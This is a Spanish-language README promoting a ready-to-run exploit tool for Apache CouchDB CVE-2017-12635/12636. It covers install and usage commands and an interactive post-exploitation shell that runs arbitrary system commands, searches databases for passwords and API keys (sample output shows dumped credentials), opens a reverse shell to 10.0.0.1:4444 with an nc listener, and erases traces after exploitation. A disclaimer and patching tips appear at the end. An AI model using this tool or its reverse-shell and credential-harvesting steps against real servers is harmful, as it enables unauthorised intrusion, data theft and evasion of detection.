
Explota CouchDB CVE-2017-12635/12636 para escalada de privilegios y RCE, y luego proporciona una shell interactiva con ejecución de comandos, navegación de bases de datos y reverse shell.
Esta herramienta explota dos vulnerabilidades críticas en Apache CouchDB:
| CVE | Descripción | Gravedad |
|---|---|---|
| CVE-2017-12635 | Escalada de privilegios mediante omisión del análisis JSON | 🔴 Crítica |
| CVE-2017-12636 | Ejecución remota de código mediante Query Server | 🔴 Crítica |
| Versión | Vulnerable | Versión corregida |
|---|---|---|
| Apache CouchDB < 1.7.0 | ✅ Sí | 1.7.0 |
| Apache CouchDB 1.x.x | ✅ Sí | 1.7.0 |
| Apache CouchDB 2.0.0 | ✅ Sí | 2.1.1 |
| Apache CouchDB 2.1.0 | ✅ Sí | 2.1.1 |
| Apache CouchDB ≥ 2.1.1 | ❌ No | - |
curl http://target:5984/
✨ Características
✅ Explotación automática - Un solo comando para dominarlos a todos
✅ Shell interactiva - Interfaz de comandos fácil de usar
✅ Visor de bases de datos - Navega por todas las bases de datos y documentos
✅ Visualización JSON completa - Consulta el contenido completo de los documentos
✅ Búsqueda global - Busca palabras clave en todas las bases de datos
✅ Comandos del sistema - Ejecuta comandos arbitrarios en el objetivo
✅ Reverse Shell - Obtén una shell interactiva completa
✅ Historial de comandos - Lleva un registro de tus acciones
✅ Limpieza automática - Elimina los rastros tras la explotación
✅ Salida en color - Fácil de leer y entender
📦 Instalación Requisitos previos bash
python3 --version
Clonar e instalar bash
git clone https://github.com/darabium/couchdb-exploit.git
cd couchdb-exploit
python3 -m venv myenv
source myenv/bin/activate
pip install -r requirements.txt
Requisitos txt
requests>=2.25.0 urllib3>=1.26.0
🚀 Uso Uso básico bash
python3 couchdb-exploit.py -t <TARGET_IP> -p <PORT>
python3 couchdb-exploit.py -t 192.168.1.100 -p 5984
Opciones de línea de comandos bash
python3 couchdb-exploit.py -h
usage: couchdb-exploit.py [-h] -t TARGET [-p PORT]
arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target IP address or hostname
-p PORT, --port PORT Target port (default: 5984)
💻 Comandos
Una vez explotado, tendrás una shell interactiva: Comando Descripción Ejemplo db Mostrar todas las bases de datos con el número de documentos db view Ver TODOS los documentos de una base de datos (JSON completo) view passwords raw Mostrar la respuesta sin procesar del servidor raw admin count Contar los documentos de una base de datos count users search Buscar una palabra clave en TODAS las bases de datos search admin exec Ejecutar un comando del sistema exec whoami reverse Configurar una reverse shell reverse 10.0.0.1 4444 history Mostrar el historial de comandos history help Mostrar este menú help exit Salir con limpieza exit 📊 Ejemplos
couchdb> db
[+] 39 databases:
_replicator (0 docs)
_users (12 docs)
admin (5 docs)
passwords (25 docs)
core-configuration (8 docs) ...
Ver el contenido de una base de datos bash
couchdb> view passwords
[*] Total documents: 25
couchdb> search password
✅ Found in 'passwords' ID: user1 Content: { "username": "root", "password": "rootpass123" }
✅ Found in 'config' ID: app_settings Content: { "db_password": "secret123", "api_key": "sk_live_abc123" }
couchdb> exec whoami [+] Executing: whoami [+] Command executed!
couchdb> exec id [+] Executing: id [+] Command executed!
nc -lvnp 4444
couchdb> reverse 10.0.0.1 4444 [+] Configurando shell inversa a 10.0.0.1:4444 [!] Asegúrate de que el listener esté en ejecución: nc -lvnp 4444 [?] ¿Continuar? (s/n): s [+] ¡Shell inversa activada!
🖼️ Capturas de pantalla Exploit en acción
https://via.placeholder.com/800x400?text=Exploit+Demo+Screenshot Vista de la base de datos
https://via.placeholder.com/800x400?text=Database+View Shell inversa
https://via.placeholder.com/800x400?text=Reverse+Shell ⚠️ Aviso legal
IMPORTANTE: Esta herramienta es solo para fines educativos y de pruebas autorizadas.
🚫 NO lo uses en sistemas sin permiso explícito
🚫 El autor no se hace responsable de ningún uso indebido
🚫 Úsalo solo en entornos controlados o en tus propios sistemas
✅ Obtén siempre autorización por escrito antes de realizar pruebas
✅ Sigue prácticas de divulgación responsable
Al usar esta herramienta, aceptas estos términos. 🔐 Consejos de seguridad
Si eres administrador de sistemas:
Actualiza inmediatamente a CouchDB ≥ 1.7.0 o ≥ 2.1.1
Usa un firewall para restringir el acceso al puerto 5984
Habilita la autenticación y usa contraseñas seguras
Monitorea los registros en busca de actividad sospechosa
Realiza auditorías de seguridad periódicas de tu infraestructura
Solución rápida bash
sudo apt-get update sudo apt-get install couchdb=2.1.1 # O la última versión
sudo ufw allow from 192.168.1.0/24 to any port 5984
📚 Referencias
CVE-2017-12635 - NVD
CVE-2017-12636 - NVD
Seguridad de Apache CouchDB
Exploit-DB
👤 Autor
darabium
GitHub: @darabium
Telegram: @darabium
⭐ Apoyo
Si te resulta útil:
⭐ Dale una estrella al repositorio
🐛 Reporta problemas
🔧 Contribuye con mejoras
📢 Compártelo con otros
📄 Licencia
Este proyecto está licenciado bajo la Licencia MIT - consulta el archivo LICENSE para más detalles.
Hecho con ❤️ para la investigación de seguridad
⬆ Volver arriba